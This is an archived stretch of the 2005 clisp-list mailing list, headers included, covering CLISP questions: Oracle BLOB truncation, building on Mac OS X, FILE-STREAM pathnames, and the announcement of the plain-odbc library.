> * Surendra Singhi [2005-08-22 16:10:07 -0700]: > > Thanks for looking into this problem. I tried on two different > WindowsXP machine, with the binary release of clisp 2.34, and it is > easily reproducible on them. Surendra, all I have is a w2k box. please provide step-by-step instruction on how to reproduce the problem, including the "expected" and "actual" results. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k I may be getting older, but I refuse to grow up! From sds@gnu.org Thu Aug 25 08:59:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8K8G-0008PQ-K2 for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 08:59:12 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8K8G-0005CM-B4 for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 08:59:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7PFwitJ025569; Thu, 25 Aug 2005 11:58:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Tomas Hlavaty Cc: "John K. Hinsdale" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <430DA3A2.9090809@seznam.cz> (Tomas Hlavaty's message of "Thu, 25 Aug 2005 11:55:30 +0100") References: <430DA3A2.9090809@seznam.cz> Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Hlavaty , "John K. Hinsdale" User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp oracle module blob problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 09:02:10 2005 X-Original-Date: Thu, 25 Aug 2005 11:57:57 -0400 > * Tomas Hlavaty [2005-08-25 11:55:30 +0100]: > > I have a problem retrieving BLOBs from Oracle. > > The trouble is that the oracle module returns LOBs as zero terminated > strings (at the low level). The BLOB is truncated if it contains zero > byte. if BLOB can contain a NULL byte, it is wrong to return it as a string. > 1) Return BLOBs as byte array: needs to change oracle module both in C > and Lisp:-( Might be a lot of work especially when I'm not familiar > with low level details of CLisp. This would be ideal solution. indeed. -- Sam Steingold (http://www.podval.org/~sds) running w2k Illiterate? Write today, for free help! From kvietaag@seznam.cz Thu Aug 25 09:07:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8KGZ-000101-OM for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 09:07:47 -0700 Received: from kwall.cncz.cz ([194.213.192.9] helo=czgw.cncz.cz) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8KGY-0005vv-BN for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 09:07:47 -0700 Received: from czgw.cncz.cz (arwen [127.0.0.1]) by czgw.cncz.cz (Postfix) with ESMTP id 81B0E4E50D for ; Thu, 25 Aug 2005 18:07:32 +0200 (CEST) Received: from [10.3.64.134] (unknown [10.3.64.134]) by czgw.cncz.cz (Postfix) with ESMTP id 273CB4B9ED for ; Thu, 25 Aug 2005 18:07:32 +0200 (CEST) Message-ID: <430DECCE.6000201@seznam.cz> From: Tomas Hlavaty User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <430DA3A2.9090809@seznam.cz> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-BitDefender-SpamStamp: 1.1.4 049000040111AAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI X-BitDefender-Scanner: Clean, Agent: BitDefender POSTFIX 1.6.2 on arwen X-BitDefender-Spam: No (13) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp oracle module blob problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 09:09:34 2005 X-Original-Date: Thu, 25 Aug 2005 17:07:42 +0100 > Sam Steingold wrote: > >>* Tomas Hlavaty [2005-08-25 11:55:30 +0100]: >> >>I have a problem retrieving BLOBs from Oracle. >> >>The trouble is that the oracle module returns LOBs as zero terminated >>strings (at the low level). The BLOB is truncated if it contains zero >>byte. > > > if BLOB can contain a NULL byte, it is wrong to return it as a string. Yes, I know;-) but that's the way it is currently implemented in the oracle module:-( >>1) Return BLOBs as byte array: needs to change oracle module both in C >> and Lisp:-( Might be a lot of work especially when I'm not familiar >> with low level details of CLisp. This would be ideal solution. > > indeed. I was just wondering whether somebody haven't solved the problem:-) Thanks, Tomas From lenst@lysator.liu.se Thu Aug 25 09:31:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8KdS-0002EY-Ff for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 09:31:26 -0700 Received: from [82.212.66.14] (helo=ekavan.hemmanet.se ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8KdP-0005hp-UO for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 09:31:26 -0700 Received: from [82.212.74.66] (unknown [82.212.74.66]) by ekavan.hemmanet.se (Postfix) with ESMTP id C7F0F1CDA9DA; Thu, 25 Aug 2005 18:44:08 +0200 (CEST) In-Reply-To: <20050821070040.A260B10FBF3@thalassa.informatimago.com> References: <20050821070040.A260B10FBF3@thalassa.informatimago.com> Mime-Version: 1.0 (Apple Message framework v622) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: From: Lennart Staflin Subject: Re: [clisp-list] compiled 2.34 on MacOSX + a patch To: X-Mailer: Apple Mail (2.622) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 09:32:24 2005 X-Original-Date: Thu, 25 Aug 2005 18:31:13 +0200 On 21 aug 2005, at 09:00, Pascal Bourguignon wrote: > > > After applying the following patch, I was able to compile clisp-2.34 > on: > > Mac OS X Version 10.3.9 > iBook 900 MHz PowerPC G3 640 MB SDRAM > Darwin triton.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 > 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC Power > Macintosh powerpc > > with: > > rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local > $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ; > done) --build /tmp/clisp-2.34-build --install > Thanks! I have been trying to compile clisp 2.34 on Mac OS 10.3.9 but failed. With the above I succeeded. But the resulting clisp had no FFI support. The binary download on sourceforge has FFI support, obviously it is possible to get that to compile. I wonder if it has to do with gcc version (mine is 3.3) or library versions (I don't have libsigsegv, e.g.). Did you get FFI support, if so what was the trick? //Lennart Staflin From sds@gnu.org Thu Aug 25 11:55:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8Mt6-0000GY-6F for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 11:55:44 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8Mt4-0003Ha-RR for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 11:55:44 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7PItUSU018529; Thu, 25 Aug 2005 14:55:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Kai Kaminski Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42F8C3B9.2070401@gmail.com> (Kai Kaminski's message of "Tue, 09 Aug 2005 16:54:49 +0200") References: <42F8C3B9.2070401@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kai Kaminski User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 11:56:39 2005 X-Original-Date: Thu, 25 Aug 2005 14:54:43 -0400 I checked in the code that closes all possible sockets before exec(). please try CVS head. -- Sam Steingold (http://www.podval.org/~sds) running w2k The only time you have too much fuel is when you're on fire. From pjb@informatimago.com Thu Aug 25 13:17:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8OAd-00048b-73 for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 13:17:55 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8OAb-0007ai-71 for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 13:17:55 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 7F248585C8; Thu, 25 Aug 2005 22:17:32 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id EB153582FA; Thu, 25 Aug 2005 22:17:29 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 247E510FEFF; Thu, 25 Aug 2005 22:17:29 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17166.10073.110109.786611@thalassa.informatimago.com> To: Lennart Staflin Cc: Subject: Re: [clisp-list] compiled 2.34 on MacOSX + a patch In-Reply-To: References: <20050821070040.A260B10FBF3@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 13:19:33 2005 X-Original-Date: Thu, 25 Aug 2005 22:17:29 +0200 Lennart Staflin writes: > On 21 aug 2005, at 09:00, Pascal Bourguignon wrote: > > After applying the following patch, I was able to compile clisp-2.34 > > on: > > Thanks! I have been trying to compile clisp 2.34 on Mac OS 10.3.9 but > failed. With the above I succeeded. But the resulting clisp had no FFI > support. The binary download on sourceforge has FFI support, obviously > it is possible to get that to compile. I wonder if it has to do with > gcc version (mine is 3.3) or library versions (I don't have libsigsegv, > e.g.). Did you get FFI support, if so what was the trick? I have no urgent need for FFi on Darwin, so I did not further explore. (I have 3.3 configured on Darwin too. $ gcc --version gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1495) ) -- __Pascal Bourguignon__ http://www.informatimago.com/ Kitty like plastic. Confuses for litter box. Don't leave tarp around. From kvietaag@seznam.cz Fri Aug 26 03:25:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8bP7-0007Xm-2a for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 03:25:45 -0700 Received: from kwall.cncz.cz ([194.213.192.9] helo=czgw.cncz.cz ident=ernd7y0expg0lc7biovr) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8bP5-0002yV-Gh for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 03:25:45 -0700 Received: from czgw.cncz.cz (arwen [127.0.0.1]) by czgw.cncz.cz (Postfix) with ESMTP id B823D518E6; Fri, 26 Aug 2005 12:25:39 +0200 (CEST) Received: from [10.3.64.134] (unknown [10.3.64.134]) by czgw.cncz.cz (Postfix) with ESMTP id 5EE78518DF; Fri, 26 Aug 2005 12:25:39 +0200 (CEST) Message-ID: <430EEE2E.90501@seznam.cz> From: Tomas Hlavaty User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net References: <430DA3A2.9090809@seznam.cz> <20050825214509.GA26120@alma.com> In-Reply-To: <20050825214509.GA26120@alma.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-BitDefender-SpamStamp: 1.1.4 049000040111AAAAAAE X-BitDefender-Scanner: Clean, Agent: BitDefender POSTFIX 1.6.2 on arwen X-BitDefender-Spam: No (0) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: clisp oracle module blob problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 26 03:27:09 2005 X-Original-Date: Fri, 26 Aug 2005 11:25:50 +0100 Hi John, > let me see if I can fix the Oracle interface to return BLOB's as an > array of unsigned byte or more appropriate type. it would be great:-) > There are other limits as well; if your BLOBs are really big (won't > fit in memory) there is no way to fetch them out of Oracle in chunks > (piecewise) ... the module assumes they will fit in memory. It will > not, however, attempt to use up any more than a configurable maximum, > but instead raise an error. But there is no practical way to retrieve > really huge BLOBs or CLOBs that do not fit in memory. This restriction is reasonable. > If I don'thave a quick fix, I'll document it as unsupported since as > Sam points out it is quite wrong to just truncate it. Thanks a lot, Tomas From marcoxa@cs.nyu.edu Fri Aug 26 13:53:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8lCR-0000I3-9l for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 13:53:19 -0700 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=bioinformatics.nyu.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8lCP-0007UV-8t for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 13:53:19 -0700 Received: from [192.168.116.110] (account marcoxa [192.168.116.110] verified) by bioinformatics.nyu.edu (CommuniGate Pro SMTP 4.1.5) with ESMTP-TLS id 354363 for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 16:53:10 -0400 Mime-Version: 1.0 (Apple Message framework v622) Content-Transfer-Encoding: 7bit Message-Id: <68fafb656fba57f84bf2c9277958731f@cs.nyu.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Marco Antoniotti X-Mailer: Apple Mail (2.622) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Pathname associated to a FILE-STREAM Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 26 13:54:45 2005 X-Original-Date: Fri, 26 Aug 2005 16:53:09 -0400 Hi simple question. How do I find the pathname associated to a FILE-STREAM? Cheers -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From sds@gnu.org Fri Aug 26 14:10:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8lSe-0000ww-OP for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 14:10:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8lSZ-00027A-4G for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 14:10:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7QL9bRs000177; Fri, 26 Aug 2005 17:09:38 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Marco Antoniotti Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <68fafb656fba57f84bf2c9277958731f@cs.nyu.edu> (Marco Antoniotti's message of "Fri, 26 Aug 2005 16:53:09 -0400") References: <68fafb656fba57f84bf2c9277958731f@cs.nyu.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marco Antoniotti Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Pathname associated to a FILE-STREAM Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 26 14:11:31 2005 X-Original-Date: Fri, 26 Aug 2005 17:08:50 -0400 > * Marco Antoniotti [2005-08-26 16:53:09 -0400]: > > simple question. How do I find the pathname associated to a > FILE-STREAM? PATHNAME, as per ANSI CL: [52]> (open "foo.fas") # [53]> (setq s *) # [54]> (type-of s) FILE-STREAM [55]> (pathname s) #P"foo.fas" [56]> (truename s) #P"D:\\sds\\foo.fas" -- Sam Steingold (http://www.podval.org/~sds) running w2k A computer scientist is someone who fixes things that aren't broken. From marcoxa@cs.nyu.edu Fri Aug 26 15:01:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8mGo-0002xE-IT for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 15:01:54 -0700 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=bioinformatics.nyu.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8mGn-0002un-8R for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 15:01:54 -0700 Received: from [192.168.116.110] (account marcoxa [192.168.116.110] verified) by bioinformatics.nyu.edu (CommuniGate Pro SMTP 4.1.5) with ESMTP-TLS id 354380 for clisp-list@lists.sourceforge.net; Fri, 26 Aug 2005 18:01:47 -0400 Mime-Version: 1.0 (Apple Message framework v622) In-Reply-To: References: <68fafb656fba57f84bf2c9277958731f@cs.nyu.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <8292dc0281110a6c90e4d05923855803@cs.nyu.edu> Content-Transfer-Encoding: 7bit From: Marco Antoniotti Subject: Re: [clisp-list] Re: Pathname associated to a FILE-STREAM To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.622) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 26 15:02:41 2005 X-Original-Date: Fri, 26 Aug 2005 18:01:46 -0400 Duh! Thanks Marco On Aug 26, 2005, at 5:08 PM, Sam Steingold wrote: >> * Marco Antoniotti [2005-08-26 16:53:09 -0400]: >> >> simple question. How do I find the pathname associated to a >> FILE-STREAM? > > PATHNAME, as per ANSI CL: > [52]> (open "foo.fas") > > # > [53]> (setq s *) > > # > [54]> (type-of s) > > FILE-STREAM > [55]> (pathname s) > > #P"foo.fas" > [56]> (truename s) > > #P"D:\\sds\\foo.fas" > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > A computer scientist is someone who fixes things that aren't broken. > > > ------------------------------------------------------- > SF.Net email is Sponsored by the Better Software Conference & EXPO > September 19-22, 2005 * San Francisco, CA * Development Lifecycle > Practices > Agile & Plan-Driven Development * Managing Projects & Teams * Testing > & QA > Security * Process Improvement & Measurement * > http://www.sqe.com/bsce5sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From roland.averkamp@gmx.net Sun Aug 28 04:43:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E9LZ8-00012A-Do for clisp-list@lists.sourceforge.net; Sun, 28 Aug 2005 04:43:10 -0700 Received: from pop.gmx.de ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1E9LZ7-0005zp-PV for clisp-list@lists.sourceforge.net; Sun, 28 Aug 2005 04:43:10 -0700 Received: (qmail 13027 invoked by uid 0); 28 Aug 2005 11:43:01 -0000 Received: from 84.159.224.56 by www23.gmx.net with HTTP; Sun, 28 Aug 2005 13:43:02 +0200 (MEST) From: "Roland Averkamp" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated: #10600793 Message-ID: <8014.1125229382@www23.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BRACKET_CLOSE BODY: Text interparsed with ] 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] =?ISO-8859-1?Q?CLISP-ODBC_interface:_plain-odbc?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 28 04:45:40 2005 X-Original-Date: Sun, 28 Aug 2005 13:43:02 +0200 (MEST) Hello, I would like to announce plain-odbc which is a simple interface to ODBC. It can be found at http://common-lisp.net/project/plain-odbc. Statement parameters, clobs and blobs are supported. An example: [5]> (use-package :plain-odbc) T [6]> (setf *con* (connect-sql-server "ltrav" "test")) WARNING: [ODBC info] 1 state: [Microsoft][ODBC SQL Server Driver][SQL Server]Changed database context to 'test'. # [7]> (exec-command *con* "create table clob_test (id int,txt text)") [8]> (exec-update *con* "insert into clob_test(id,txt) values(?,?)" 123 (list (make-string 1000000 :initial-element #\z) :clob :in)) 1 [9]> (subseq (first (first (exec-query *con* "select txt from clob_test where id=?" 123))) 999990 1000000) "zzzzzzzzzz" The interfacing to C is done via UFFI. For CLISP I used Jörg Höhle's UFFI implementation with small additions. In the FTP directory there is also a modified UFFI-1.5 which supports CLISP. The support of UFFI for CLISP was written by me. I just implemented what I needed. CLISP is my development platform, plain-odbc works with CLISP on Linux and Win32. (Oracle, SQL-Server, ACCESS and MySQL). I have tested it also with the trial versions of Allegro and Lispworks on Win32. Roland Averkamp -- Lust, ein paar Euro nebenbei zu verdienen? Ohne Kosten, ohne Risiko! Satte 